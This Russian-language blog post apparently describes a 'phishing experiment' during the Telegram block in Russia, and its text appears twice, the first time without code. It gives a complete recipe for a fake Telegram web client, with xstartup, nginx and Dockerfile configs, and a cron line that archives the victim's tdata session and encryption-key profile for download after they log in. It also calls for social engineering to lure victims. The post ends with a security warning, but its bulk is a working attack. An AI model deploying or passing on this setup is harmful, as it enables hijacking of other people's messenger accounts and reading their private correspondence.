Сегодня очень неоднозначно развивается ситуация вокруг совместного решения Федеральной службы безопасности Российской федерации и Роскомнадзора о блокировке мессенджера «Телеграм». Данное решение опрометчиво по целому ряду причин, и несет в себе больше проблем, чем пользы в борьбе с угрозой терроризма.
Для зрелого бизнеса который учитывал риски связанные с решениями правительства, это создало некоторое неудобство, так как пришлось использовать обходные решения с использованием VPN. Но для рядовых пользователей которые небыли готовы к такому повороту событий это принесло новые угрозы. В панике пользователи стали искать и использовать первые попавшиеся бесплатные VPN, абсолютно не задумываясь что это может обернуться для них западней в виде DNS пушапов, и прочих MITM атак.
Телеграм имеет самую большую аудиторию, и этот факт ИТ бизнес не смог обойти стороной. Компании в свою очередь инвестировали огромный капитал в разработку бизнес инструментов использующих API данного мессенджера. Даже ряд государственных проектов вкладывал деньги в разработку ботов технической поддержки, ярким примером которого является портал Госуслуги(ЕПГУ).
Волна хайпа, спровоцировала спор с коллегами на предмет уязвимости паникующих пользователей, и мы решили провести эксперимент по фишингу Телеграм.
Многие пользователи столкнулись с проблемами доступа к Web версии данного мессенджера и мы решили сыграть на этом. Нашей целью стало получение профиля tdata, в котором хранятся те самые пресловутые ключи шифрования и данные о сессии.
В состав нашего рецепта вошли следующие основные компоненты:
По замыслу нужно собрать образ Docker в котором будут стартовать иксы и Телеграм, а noVNC будет транслировать нам запущенный Телеграм через nginx в веб-браузер клиента.
Шаг 1: Ограничиваем выполнение окружения рабочего стола, выполнением только Телеграм и трансляцией его через VNC сервер.
Для этого создаем файл .vnc/xstartup со следующим содержимым:
Шаг 2: Пробрасываем трансляцию noVNC на 80 порт при помощи nginx.
Создаем конфигурационный файл default что бы потом положить его в образ.
Шаг 3: Так как мы строили экспериментальную модель, а не полноценный сервис по Телеграм фишингу, для извлечения данных мы решили копировать архив каталога tdata с помощью cron в один из каталогов доступных веб-серверу.
Создаем cron файл со следующим содержимым
Шаг 4: VNC:
Данный шаг требует кастомизации noVNC, мы выпилили из него тулбары и прописали автоматическое подключение к VNC серверу указав пароль который соответствует паролю .vnc/passwd данный пароль можно сгенерировать утилитой vncpasswd.
Шаг 5: Сборка образа Docker:
Все что мы подготовили заранее включая бинарник Telegram, складываем в один каталог, создаем Dockerfile и приступаем к сборке.
Шаг 6: После сборки и запуска образа, используя все знания и умения в с��циальной инженерии приглашаем жертву эксперимента на дегустацию альтернативы веб-версии Телеграм.
Спустя минуту после авторизации скачиваем профиль /tests/data.tar.gz
Выводы:
Как вы понимаете спор с коллегами я выиграл, но радости данный выигрыш не принес. Положение дел в области информационной безопасности имеют отрицательные тренды связанные с условиями резких изменений в политиках использования интернета в России. Данное исследование на скорую руку показало, что люди даже подкованные в информационных технологиях могут наступить на грабли которые расставляют злоумышленники.
P.S.: Не забудьте сверить открытые сессии ваших месседжеров, возможно сейчас кто-то читает вашу переписку
Для зрелого бизнеса который учитывал риски связанные с решениями правительства, это создало некоторое неудобство, так как пришлось использовать обходные решения с использованием VPN. Но для рядовых пользователей которые небыли готовы к такому повороту событий это принесло новые угрозы. В панике пользователи стали искать и использовать первые попавшиеся бесплатные VPN, абсолютно не задумываясь что это может обернуться для них западней в виде DNS пушапов, и прочих MITM атак.
Телеграм имеет самую большую аудиторию, и этот факт ИТ бизнес не смог обойти стороной. Компании в свою очередь инвестировали огромный капитал в разработку бизнес инструментов использующих API данного мессенджера. Даже ряд государственных проектов вкладывал деньги в разработку ботов технической поддержки, ярким примером которого является портал Госуслуги(ЕПГУ).
Волна хайпа, спровоцировала спор с коллегами на предмет уязвимости паникующих пользователей, и мы решили провести эксперимент по фишингу Телеграм.
Многие пользователи столкнулись с проблемами доступа к Web версии данного мессенджера и мы решили сыграть на этом. Нашей целью стало получение профиля tdata, в котором хранятся те самые пресловутые ключи шифрования и данные о сессии.
В состав нашего рецепта вошли следующие основные компоненты:
- Telegram Desktop 1.2.17 (linux)
- Docker version 17.05.0-ce
- noVNC
По замыслу нужно собрать образ Docker в котором будут стартовать иксы и Телеграм, а noVNC будет транслировать нам запущенный Телеграм через nginx в веб-браузер клиента.
Шаг 1: Ограничиваем выполнение окружения рабочего стола, выполнением только Телеграм и трансляцией его через VNC сервер.
Для этого создаем файл .vnc/xstartup со следующим содержимым:
#!/bin/sh if [ -z "$VNCAPP" ] then # Uncomment the following two lines for normal desktop: unset SESSION_MANAGER exec /etc/X11/xinit/xinitrc [ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup [ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources xsetroot -solid grey vncconfig -iconic & x-terminal-emulator -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" & x-window-manager & else xsetroot -solid black vncconfig -iconic & x-window-manager & $VNCAPP sleep 10 vncserver -kill $DISPLAY fi
Шаг 2: Пробрасываем трансляцию noVNC на 80 порт при помощи nginx.
Создаем конфигурационный файл default что бы потом положить его в образ.
upstream vnc_proxy { server 127.0.0.1:6080; } server { listen 80 default_server; listen [::]:80 default_server; location / { add_header Access-Control-Allow-Origin *; proxy_pass http://127.0.0.1:6080; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_redirect default; client_max_body_size 10m; client_body_buffer_size 128k; proxy_connect_timeout 90; proxy_send_timeout 90; proxy_read_timeout 90; proxy_buffer_size 4k; proxy_buffers 4 32k; proxy_busy_buffers_size 64k; proxy_temp_file_write_size 64k; } location /websockify { proxy_http_version 1.1; proxy_pass http://vnc_proxy/; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; # VNC connection timeout proxy_read_timeout 61s; # Disable cache proxy_buffering off; } }
Шаг 3: Так как мы строили экспериментальную модель, а не полноценный сервис по Телеграм фишингу, для извлечения данных мы решили копировать архив каталога tdata с помощью cron в один из каталогов доступных веб-серверу.
Создаем cron файл со следующим содержимым
* * * * * root tar -czf /root/tests/data.tar.gz /root/.local/share/TelegramDesktop
Шаг 4: VNC:
Данный шаг требует кастомизации noVNC, мы выпилили из него тулбары и прописали автоматическое подключение к VNC серверу указав пароль который соответствует паролю .vnc/passwd данный пароль можно сгенерировать утилитой vncpasswd.
Шаг 5: Сборка образа Docker:
Все что мы подготовили заранее включая бинарник Telegram, складываем в один каталог, создаем Dockerfile и приступаем к сборке.
# Version: 0.0.1 FROM vcatechnology/linux-mint MAINTAINER Poul Lysunenko <mpoul@hungosh.net> RUN apt update RUN apt install -y net-tools language-pack-ru cinnamon nginx chromium-browser vnc4server xvnc4viewer xfonts-base RUN locale-gen ru_RU.UTF-8 && dpkg-reconfigure locales COPY noVNC/ /root/ COPY .vnc/ /root/.vnc COPY default /etc/nginx/sites-available/ COPY Telegram /root/ COPY cron /etc/cron.d/sample RUN apt install -y cron EXPOSE 6080 ENTRYPOINT /usr/sbin/service nginx start && /usr/sbin/service cron start && VNCAPP=/root/Telegram vnc4server -depth 24 -geometry 800x600 && /root/utils/launch.sh --vnc localhost:5901
Шаг 6: После сборки и запуска образа, используя все знания и умения в с��циальной инженерии приглашаем жертву эксперимента на дегустацию альтернативы веб-версии Телеграм.
Спустя минуту после авторизации скачиваем профиль /tests/data.tar.gz
Выводы:
Как вы понимаете спор с коллегами я выиграл, но радости данный выигрыш не принес. Положение дел в области информационной безопасности имеют отрицательные тренды связанные с условиями резких изменений в политиках использования интернета в России. Данное исследование на скорую руку показало, что люди даже подкованные в информационных технологиях могут наступить на грабли которые расставляют злоумышленники.
P.S.: Не забудьте сверить открытые сессии ваших месседжеров, возможно сейчас кто-то читает
